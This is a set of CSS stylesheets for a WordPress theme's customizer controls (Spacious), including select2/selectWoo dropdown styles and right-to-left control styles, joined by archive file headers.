.spacious-group-toggle-icon.toggle-description{left:25px}.customize-control-spacious-group .spacious-field-settings-modal{background-color:#fff;border-radius:5px;-webkit-box-shadow:0 2px 10px rgba(0,0,0,0.3);box-shadow:0 2px 10px rgba(0,0,0,0.3);right:0;position:absolute;left:0;z-index:9999}.customize-control-spacious-group .spacious-field-settings-modal:before{border:8px solid transparent;border-bottom-color:#fff;content:"";pointer-events:none;position:absolute;left:17px;top:-15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap{width:100%}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs,.customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content{position:relative}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;overflow:hidden;padding:15px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before,.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after{border-collapse:collapse;content:"";display:table}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li{border:1px solid rgba(0,0,0,0.1);-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;margin:0;padding:.5rem .5rem;text-align:center}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child){border-right-width:0}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus{outline-style:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active{background-color:#289dcc}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a{color:#fff}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a{color:#555d66;text-decoration:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus{-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-group .spacious-field-settings-modal .customize-control{-webkit-box-sizing:border-box;box-sizing:border-box;padding:20px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child{margin-bottom:15px}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title{color:#444;display:block;font-size:14px;line-height:1.2;margin:0}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description{margin-top:10px;padding:0 12px}.tool-tip{display:inline-block;position:relative}.tool-tip:hover .tooltip-text{opacity:1;visibility:visible}#customize-theme-controls .customize-pane-child .accordion-section-content{padding:10px}.customize-control .customize-control-spacious-color{padding-bottom:0}li.customize-control.customize-control-spacious-hidden{padding:0}.customize-control-spacious-hidden.customize-control{margin-top:0}.customize-control-spacious-radio-image *{-webkit-box-sizing:border-box;box-sizing:border-box}.customize-control-spacious-radio-image input{display:none}.customize-control-spacious-radio-image input:checked+label img{background:#0073aa}.customize-control-spacious-radio-image .image{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image label{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-top:10px;margin-bottom:10px;position:relative;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.customize-control-spacious-radio-image label>img{background:#ebebeb;border:2px solid #ebebeb;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image .image-col-1:after,.customize-control-spacious-radio-image .image-col-2:after,.customize-control-spacious-radio-image .image-col-3:after,.customize-control-spacious-radio-image .image-col-4:after{clear:both;content:'';display:block}.customize-control-spacious-radio-image .image-col-1 input:checked+label img,.customize-control-spacious-radio-image .image-col-2 input:checked+label img,.customize-control-spacious-radio-image .image-col-3 input:checked+label img,.customize-control-spacious-radio-image .image-col-4 input:checked+label img{border:0;-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-radio-image .image-col-1 label{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.customize-control-spacious-radio-image .image-col-1 label>img{border:0;padding:15px 15px 0;width:70%}.customize-control-spacious-radio-image .image-col-2 label{-ms-flex-preferred-size:calc((100% / 2) - 12px);flex-basis:calc((100% / 2) - 12px)}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd){margin-left:10px}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even){margin-right:10px}.customize-control-spacious-radio-image .image-col-2 label>img{border:0;padding:12px 12px 0;width:108px}.customize-control-spacious-radio-image .image-col-3 label{-ms-flex-preferred-size:calc((100% / 3) - 8px);flex-basis:calc((100% / 3) - 8px)}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1){margin-left:10px}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3){margin-right:10px}.customize-control-spacious-radio-image .image-col-3 label>img{border:0;padding:8px 8px 0;width:75px}.customize-control-spacious-radio-image .image-col-4 label{-ms-flex-preferred-size:25%;flex-basis:25%;padding:6px 15px;border:1px solid #ebebeb}.customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)){border-left-width:0}.customize-control-spacious-radio-image .image-col-4 label>img{border:0}.customize-control-spacious-radio-image .image-col-4 input:checked+label{background:#0073aa}.customize-control-spacious-radio-image label:hover .tooltip-text{opacity:1;visibility:visible}.customize-control-spacious-radio-image .tooltip-text{bottom:105%;right:50%}.customize-control-spacious-slider .slider-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-slider .slider-wrapper input[type=range]{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:rgba(0,0,0,0.1);cursor:pointer;-webkit-box-flex:1;-ms-flex:1;flex:1;height:5px;padding:0;-webkit-transition:background .3s;transition:background .3s}.customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb{-webkit-appearance:none;appearance:none;background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;padding:0 5px 0 0}.customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number]{font-size:12px;padding:3px;width:60px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit{padding:0 5px 0 0}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset{color:rgba(0,0,0,0.3);cursor:pointer;-webkit-transition:color .3s ease-in;transition:color .3s ease-in}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span{font-size:14px}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover,.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus{color:#289dcc}.customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span{left:20px}.customize-control-spacious-sortable ul.ui-sortable{cursor:default}.customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility{cursor:pointer}.customize-control-spacious-sortable ul.ui-sortable li{padding:5px 10px;border:1px solid #555;background:#fff;cursor:move}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu{float:left}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility{margin-left:10px}.customize-control-spacious-sortable ul.ui-sortable li.invisible{color:#aaa;border:1px dashed #aaa}.customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility{color:#aaa}.customize-control-spacious-toggle{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-toggle label{position:relative;display:inline-block;width:30px;height:16px;left:0;top:4px}.customize-control-spacious-toggle label.toggle-description{left:20px}.customize-control-spacious-toggle label input{display:none}.customize-control-spacious-toggle label input:checked+.switch:before{background:#fff;border-color:#fff;right:-6px;-webkit-transform:translateX(-20px);transform:translateX(-20px)}.customize-control-spacious-toggle label input:checked+.switch{background-color:#0073aa;border-color:#0073aa}.customize-control-spacious-toggle label .switch{position:absolute;cursor:pointer;top:0;right:0;left:0;bottom:0;background:#fff;border:2px solid #444;border-radius:100px;-webkit-transition:all ease .3s;transition:all ease .3s}.customize-control-spacious-toggle label .switch:before{position:absolute;content:'';height:6px;width:6px;right:3px;bottom:1px;border:2px solid #444;background:#444;border-radius:100%;-webkit-transition:all ease .3s;transition:all ease .3s}.customize-control-spacious-typography .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-typography .customize-control-content .font-size,.customize-control-spacious-typography .customize-control-content .line-height,.customize-control-spacious-typography .customize-control-content .letter-spacing{position:relative}.customize-control-spacious-typography .customize-control-content .control-wrap{display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-typography .customize-control-content .unit{background:#ebebeb;border-radius:2px 0 0 2px;font-weight:500;line-height:34px;padding:0 12px;text-transform:uppercase}.customize-control-spacious-typography .customize-control-content .font-style,.customize-control-spacious-typography .customize-control-content .font-family,.customize-control-spacious-typography .customize-control-content .font-weight,.customize-control-spacious-typography .customize-control-content .text-transform{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content,.customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content,.customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content{padding-top:2px;width:180px}span.select2-container.select2-container--default.select2-container--open{z-index:999999}.customize-control-spacious-title{border-bottom:1px solid #ebebeb;margin-top:15px}.customize-control-spacious-title:nth-child(2){margin-top:0}.spacious-title-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.spacious-title-wrapper .dashicons-editor-help{color:rgba(68,68,68,0.5);margin-right:5px}.spacious-title-wrapper .dashicons-editor-help:hover{color:#444}.spacious-title-wrapper .guide-tutorial>span{border-left:1px solid #eee;padding:0 8px 0 5px}.spacious-title-wrapper .guide-tutorial>span:first-child,.spacious-title-wrapper .guide-tutorial>span:last-of-type{border-left:0;padding-left:0}.spacious-title-wrapper .guide-tutorial>span a{font-weight:500;text-decoration:none}.spacious-title-wrapper label.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex}.customize-control-spacious-dimensions{position:relative}.customize-control-spacious-dimensions .wrapper{border:1px solid rgba(0,0,0,0.1);padding:6px 8px}.customize-control-spacious-dimensions .wrapper .control{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-dimensions .wrapper .control .top,.customize-control-spacious-dimensions .wrapper .control .right,.customize-control-spacious-dimensions .wrapper .control .bottom,.customize-control-spacious-dimensions .wrapper .control .left{width:23%}.customize-control-spacious-dimensions .wrapper .control .top h5,.customize-control-spacious-dimensions .wrapper .control .right h5,.customize-control-spacious-dimensions .wrapper .control .bottom h5,.customize-control-spacious-dimensions .wrapper .control .left h5{margin:0;font-weight:normal}p.upgrade-description{margin-top:10px;font-style:italic}core/custom-controls/assets/css/selectWoo.css000066600000042304152367043330015434 0ustar00.select2-container { box-sizing: border-box; display: inline-block; margin: 0; position: relative; vertical-align: middle; } .select2-container .select2-selection--single { box-sizing: border-box; cursor: pointer; display: block; height: 28px; user-select: none; -webkit-user-select: none; } .select2-container .select2-selection--single .select2-selection__rendered { display: block; padding-left: 8px; padding-right: 20px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .select2-container .select2-selection--single .select2-selection__clear { position: relative; } .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered { padding-right: 8px; padding-left: 20px; } .select2-container .select2-selection--multiple { box-sizing: border-box; cursor: pointer; display: block; min-height: 32px; user-select: none; -webkit-user-select: none; } .select2-container .select2-selection--multiple .select2-selection__rendered { display: inline-block; overflow: hidden; padding-left: 8px; text-overflow: ellipsis; white-space: nowrap; } .select2-container .select2-search--inline { float: left; } .select2-container .select2-search--inline .select2-search__field { box-sizing: border-box; border: none; font-size: 100%; margin-top: 5px; padding: 0; } .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button { -webkit-appearance: none; } .select2-dropdown { background-color: white; border: 1px solid #aaa; border-radius: 4px; box-sizing: border-box; display: block; position: absolute; left: -100000px; width: 100%; z-index: 1051; } .select2-results { display: block; } .select2-results__options { list-style: none; margin: 0; padding: 0; } .select2-results__option { padding: 6px; user-select: none; -webkit-user-select: none; } .select2-results__option[data-selected] { cursor: pointer; } .select2-container--open .select2-dropdown { left: 0; } .select2-container--open .select2-dropdown--above { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--open .select2-dropdown--below { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; } .select2-search--dropdown { display: block; padding: 4px; } .select2-search--dropdown .select2-search__field { padding: 4px; width: 100%; box-sizing: border-box; } .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button { -webkit-appearance: none; } .select2-search--dropdown.select2-search--hide { display: none; } .select2-close-mask { border: 0; margin: 0; padding: 0; display: block; position: fixed; left: 0; top: 0; min-height: 100%; min-width: 100%; height: auto; width: auto; opacity: 0; z-index: 99; background-color: #fff; filter: alpha(opacity=0); } .select2-hidden-accessible { border: 0 !important; clip: rect(0 0 0 0) !important; height: 1px !important; margin: -1px !important; overflow: hidden !important; padding: 0 !important; position: absolute !important; width: 1px !important; } .select2-container--default .select2-selection--single { background-color: #fff; border: 1px solid #aaa; border-radius: 4px; } .select2-container--default .select2-selection--single .select2-selection__rendered { color: #444; line-height: 28px; } .select2-container--default .select2-selection--single .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; } .select2-container--default .select2-selection--single .select2-selection__placeholder { color: #999; } .select2-container--default .select2-selection--single .select2-selection__arrow { height: 26px; position: absolute; top: 1px; right: 1px; width: 20px; } .select2-container--default .select2-selection--single .select2-selection__arrow b { border-color: #888 transparent transparent transparent; border-style: solid; border-width: 5px 4px 0 4px; height: 0; left: 50%; margin-left: -4px; margin-top: -2px; position: absolute; top: 50%; width: 0; } .select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear { float: left; } .select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow { left: 1px; right: auto; } .select2-container--default.select2-container--disabled .select2-selection--single { background-color: #eee; cursor: default; } .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear { display: none; } .select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } .select2-container--default .select2-selection--multiple { background-color: white; border: 1px solid #aaa; border-radius: 4px; cursor: text; } .select2-container--default .select2-selection--multiple .select2-selection__rendered { box-sizing: border-box; list-style: none; margin: 0; padding: 0 5px; width: 100%; } .select2-container--default .select2-selection--multiple .select2-selection__rendered li { list-style: none; } .select2-container--default .select2-selection--multiple .select2-selection__placeholder { color: #999; margin-top: 5px; float: left; } .select2-container--default .select2-selection--multiple .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; margin-top: 5px; margin-right: 10px; } .select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: #e4e4e4; border: 1px solid #aaa; border-radius: 4px; cursor: default; float: left; margin-right: 5px; margin-top: 5px; padding: 0 5px; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: #999; cursor: pointer; display: inline-block; font-weight: bold; margin-right: 2px; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { color: #333; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline { float: right; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice { margin-left: 5px; margin-right: auto; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 2px; margin-right: auto; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid black 1px; outline: 0; } .select2-container--default.select2-container--disabled .select2-selection--multiple { background-color: #eee; cursor: default; } .select2-container--default.select2-container--disabled .select2-selection__choice__remove { display: none; } .select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple { border-top-left-radius: 0; border-top-right-radius: 0; } .select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--default .select2-search--dropdown .select2-search__field { border: 1px solid #aaa; } .select2-container--default .select2-search--inline .select2-search__field { background: transparent; border: none; outline: 0; box-shadow: none; -webkit-appearance: textfield; } .select2-container--default .select2-results > .select2-results__options { max-height: 200px; overflow-y: auto; } .select2-container--default .select2-results__option[role=group] { padding: 0; } .select2-container--default .select2-results__option[aria-disabled=true] { color: #999; } .select2-container--default .select2-results__option[data-selected=true] { background-color: #ddd; } .select2-container--default .select2-results__option .select2-results__option { padding-left: 1em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__group { padding-left: 0; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option { margin-left: -1em; padding-left: 2em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -2em; padding-left: 3em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -3em; padding-left: 4em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -4em; padding-left: 5em; } .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { margin-left: -5em; padding-left: 6em; } .select2-container--default .select2-results__option--highlighted[data-selected] { background-color: #5897fb; color: white; } .select2-container--default .select2-results__group { cursor: default; display: block; padding: 6px; } .select2-container--classic .select2-selection--single { background-color: #f7f7f7; border: 1px solid #aaa; border-radius: 4px; outline: 0; background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%); background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%); background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } .select2-container--classic .select2-selection--single:focus { border: 1px solid #5897fb; } .select2-container--classic .select2-selection--single .select2-selection__rendered { color: #444; line-height: 28px; } .select2-container--classic .select2-selection--single .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; margin-right: 10px; } .select2-container--classic .select2-selection--single .select2-selection__placeholder { color: #999; } .select2-container--classic .select2-selection--single .select2-selection__arrow { background-color: #ddd; border: none; border-left: 1px solid #aaa; border-top-right-radius: 4px; border-bottom-right-radius: 4px; height: 26px; position: absolute; top: 1px; right: 1px; width: 20px; background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%); background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%); background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); } .select2-container--classic .select2-selection--single .select2-selection__arrow b { border-color: #888 transparent transparent transparent; border-style: solid; border-width: 5px 4px 0 4px; height: 0; left: 50%; margin-left: -4px; margin-top: -2px; position: absolute; top: 50%; width: 0; } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear { float: left; } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { border: none; border-right: 1px solid #aaa; border-radius: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; left: 1px; right: auto; } .select2-container--classic.select2-container--open .select2-selection--single { border: 1px solid #5897fb; } .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow { background: transparent; border: none; } .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } .select2-container--classic.select2-container--open.select2-container--above .select2-selection--single { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%); background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%); background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } .select2-container--classic.select2-container--open.select2-container--below .select2-selection--single { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%); background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%); background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); } .select2-container--classic .select2-selection--multiple { background-color: white; border: 1px solid #aaa; border-radius: 4px; cursor: text; outline: 0; } .select2-container--classic .select2-selection--multiple:focus { border: 1px solid #5897fb; } .select2-container--classic .select2-selection--multiple .select2-selection__rendered { list-style: none; margin: 0; padding: 0 5px; } .select2-container--classic .select2-selection--multiple .select2-selection__clear { display: none; } .select2-container--classic .select2-selection--multiple .select2-selection__choice { background-color: #e4e4e4; border: 1px solid #aaa; border-radius: 4px; cursor: default; float: left; margin-right: 5px; margin-top: 5px; padding: 0 5px; } .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove { color: #888; cursor: pointer; display: inline-block; font-weight: bold; margin-right: 2px; } .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover { color: #555; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { float: right; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { margin-left: 5px; margin-right: auto; } .select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 2px; margin-right: auto; } .select2-container--classic.select2-container--open .select2-selection--multiple { border: 1px solid #5897fb; } .select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; } .select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--classic .select2-search--dropdown .select2-search__field { border: 1px solid #aaa; outline: 0; } .select2-container--classic .select2-search--inline .select2-search__field { outline: 0; box-shadow: none; } .select2-container--classic .select2-dropdown { background-color: white; border: 1px solid transparent; } .select2-container--classic .select2-dropdown--above { border-bottom: none; } .select2-container--classic .select2-dropdown--below { border-top: none; } .select2-container--classic .select2-results > .select2-results__options { max-height: 200px; overflow-y: auto; } .select2-container--classic .select2-results__option[role=group] { padding: 0; } .select2-container--classic .select2-results__option[aria-disabled=true] { color: grey; } .select2-container--classic .select2-results__option--highlighted[data-selected] { background-color: #3875d7; color: white; } .select2-container--classic .select2-results__group { cursor: default; display: block; padding: 6px; } .select2-container--classic.select2-container--open .select2-dropdown { border-color: #5897fb; } core/custom-controls/assets/css/customize-controls-rtl.css000066600000053123152367043330020153 0ustar00.tooltip-text { background-color: #444444; border-radius: 4px; bottom: 125%; -webkit-box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2); box-shadow: 0 10px 20px 0px rgba(68, 68, 68, 0.2); color: #ffffff; right: 4px; margin-right: calc(-120px / 2); opacity: 0; padding: 10px 10px; position: absolute; text-align: center; -webkit-transition: opacity 0.3s; transition: opacity 0.3s; visibility: hidden; width: 120px; z-index: 1; } .tooltip-text::after { border-color: #444444 transparent transparent transparent; border-style: solid; border-width: 5px; content: ""; right: 50%; margin-right: -5px; position: absolute; top: 100%; } /** * Background control CSS. */ .customize-control-spacious-background .customize-control-content > div { margin-bottom: 15px; } /** * Radio buttonset control CSS. */ .customize-control-spacious-buttonset .buttonset { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-buttonset .buttonset .buttonset-inner { -webkit-box-flex: 1; -ms-flex: 1; flex: 1; } .customize-control-spacious-buttonset .buttonset .buttonset-inner + .buttonset-inner { border-right: 0; } .customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset { background: #ebebeb; -webkit-box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1); box-shadow: inset 0 0 0 1px rgba(68, 68, 68, 0.1); color: #444444; display: block; padding: 5px 12px; text-align: center; -webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1); } .customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover { background: #ffffff; } .customize-control-spacious-buttonset .buttonset .buttonset-inner input { display: none; } .customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label { background: #0073aa; color: #ffffff; } .customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked + label:hover { background: #0073aa; color: #ffffff; } .customize-control .actions { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control .actions .button { min-height: 34px; } .customize-control .actions .button:last-of-type { margin-left: 0px; } .customize-control-header button.random { min-height: 34px; } input[type=checkbox]:checked { border-radius: 2px; -webkit-box-shadow: 0 0 0 1px #0073aa; box-shadow: 0 0 0 1px #0073aa; } input[type=radio]:checked { -webkit-box-shadow: 0 0 0 1px #0073aa; box-shadow: 0 0 0 1px #0073aa; } input[type=range]:focus { outline: none; } /** * Alpha color control CSS. */ .customize-control-spacious-color .customizer-wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-color .customizer-wrapper .customize-control-title { display: block; margin: 0 0 8px 0; } .wp-picker-container .wp-color-result.button { background-color: #ebebeb !important; background-image: none !important; min-height: 34px; border: 1px solid #ebebeb; } .wp-picker-container .wp-color-result.button::after { border: 1px solid #ebebeb; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important; border-radius: 100%; content: ""; height: 22px; right: 5px; position: absolute; top: 5px; width: 22px; z-index: 0; } .wp-picker-container .wp-color-result.button .wp-color-result-text { background: none; border: none; line-height: 2.15384615; padding: 0 6px 0 10px; } .wp-picker-container .wp-color-result.button .color-alpha { border: 1px solid #ebebeb; border-radius: 100% !important; height: 22px !important; right: 4px !important; top: 4px !important; width: 22px !important; z-index: 1; } .wp-picker-container .wp-picker-input-wrap .wp-picker-default { min-height: 34px !important; } .wp-picker-container .wp-picker-holder { -webkit-box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3); box-shadow: 0 0px 20px 0px rgba(68, 68, 68, 0.3); } .wp-picker-container .iris-picker { border-color: #ebebeb; margin-bottom: 5px; } .wp-picker-container .iris-picker .iris-alpha-slider { margin-left: -1px; } .customize-control-spacious-divider { padding: 0 !important; } /** * Custom control CSS. */ .customize-control-spacious-custom .spacious-custom-info { margin-bottom: 15px; } .customize-control-spacious-custom .spacious-custom-links li a { background: #0073aa; display: block; text-align: center; color: #ffffff; padding: 8px 16px; text-decoration: none; } /** * Divider control CSS. */ .customize-control-spacious-divider hr { margin-top: 10px; margin-bottom: 10px; } .customize-control-spacious-divider .divider-placement-above + .spacious-control-tooltip { top: 30px; } /** * Editor control CSS. */ .customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea { width: 100%; } /** * Group control CSS. */ .customize-control-spacious-group .spacious-group-wrap > .customizer-text { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-group .spacious-group-toggle-icon { background: #ebebeb; border-radius: 100px; color: rgba(68, 68, 68, 0.6); cursor: pointer; font-size: 20px; padding: 5px; position: relative; left: 0; top: 0px; } .customize-control-spacious-group .spacious-group-toggle-icon:before { content: "\f464"; } .customize-control-spacious-group .spacious-group-toggle-icon.open { background: #0073aa; color: #ffffff; } .customize-control-spacious-group .spacious-group-toggle-icon.open:before { content: "\f158"; } .customize-control-spacious-group .spacious-group-toggle-icon.toggle-description { left: 25px; } .customize-control-spacious-group .spacious-field-settings-modal { background-color: #ffffff; border-radius: 5px; -webkit-box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3); box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3); right: 0; position: absolute; left: 0; z-index: 9999; } 